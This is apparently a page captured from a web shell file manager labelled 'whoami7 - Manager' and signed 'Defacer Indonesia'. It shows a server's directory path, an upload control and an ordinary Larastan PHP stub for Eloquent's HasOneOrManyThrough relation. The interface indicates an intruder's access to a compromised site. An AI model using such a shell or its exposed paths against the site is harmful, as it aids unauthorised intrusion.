whoami7 - Manager
:
/
home
/
kckglobal
/
www
/
portal
/
vendor
/
larastan
/
larastan
/
stubs
/
11.0.0
/
Upload File:
files >> /home/kckglobal/www/portal/vendor/larastan/larastan/stubs/11.0.0/HasOneOrManyThrough.stub
<?php namespace Illuminate\Database\Eloquent\Relations; /** * @template TRelatedModel of \Illuminate\Database\Eloquent\Model * @template TIntermediateModel of \Illuminate\Database\Eloquent\Model * @template TDeclaringModel of \Illuminate\Database\Eloquent\Model * @template TResult * * @extends \Illuminate\Database\Eloquent\Relations\Relation<TRelatedModel, TIntermediateModel, TResult> */ abstract class HasOneOrManyThrough extends Relation { /** * Get a paginator for the "select" statement. * * @param int|null $perPage * @param array<int, (model-property<TRelatedModel>|'*')> $columns * @param string $pageName * @param int|null $page * @return \Illuminate\Pagination\LengthAwarePaginator<TRelatedModel> */ public function paginate($perPage = null, $columns = ['*'], $pageName = 'page', $page = null); /** * Paginate the given query into a simple paginator. * * @param int|null $perPage * @param array<int, (model-property<TRelatedModel>|'*')> $columns * @param string $pageName * @param int|null $page * @return \Illuminate\Pagination\Paginator<TRelatedModel> */ public function simplePaginate($perPage = null, $columns = ['*'], $pageName = 'page', $page = null); /** * Paginate the given query into a cursor paginator. * * @param int|null $perPage * @param array<int, (model-property<TRelatedModel>|'*')> $columns * @param string $cursorName * @param string|null $cursor * @return \Illuminate\Pagination\CursorPaginator<TRelatedModel> */ public function cursorPaginate($perPage = null, $columns = ['*'], $cursorName = 'cursor', $cursor = null); /** * Find a related model by its primary key. * * @param mixed $id * @param array<int, (model-property<TRelatedModel>|'*')> $columns * @return ($id is (\Illuminate\Contracts\Support\Arrayable<array-key, mixed>|array<mixed>) ? \Illuminate\Database\Eloquent\Collection<int, TRelatedModel> : TRelatedModel|null) */ public function find($id, $columns = ['*']); /** * Find a related model by its primary key or throw an exception. * * @param mixed $id * @param array<int, (model-property<TRelatedModel>|'*')> $columns * @return ($id is (\Illuminate\Contracts\Support\Arrayable<array-key, mixed>|array<mixed>) ? \Illuminate\Database\Eloquent\Collection<int, TRelatedModel> : TRelatedModel) */ public function findOrFail($id, $columns = ['*']); }
Copyright ©2021 || Defacer Indonesia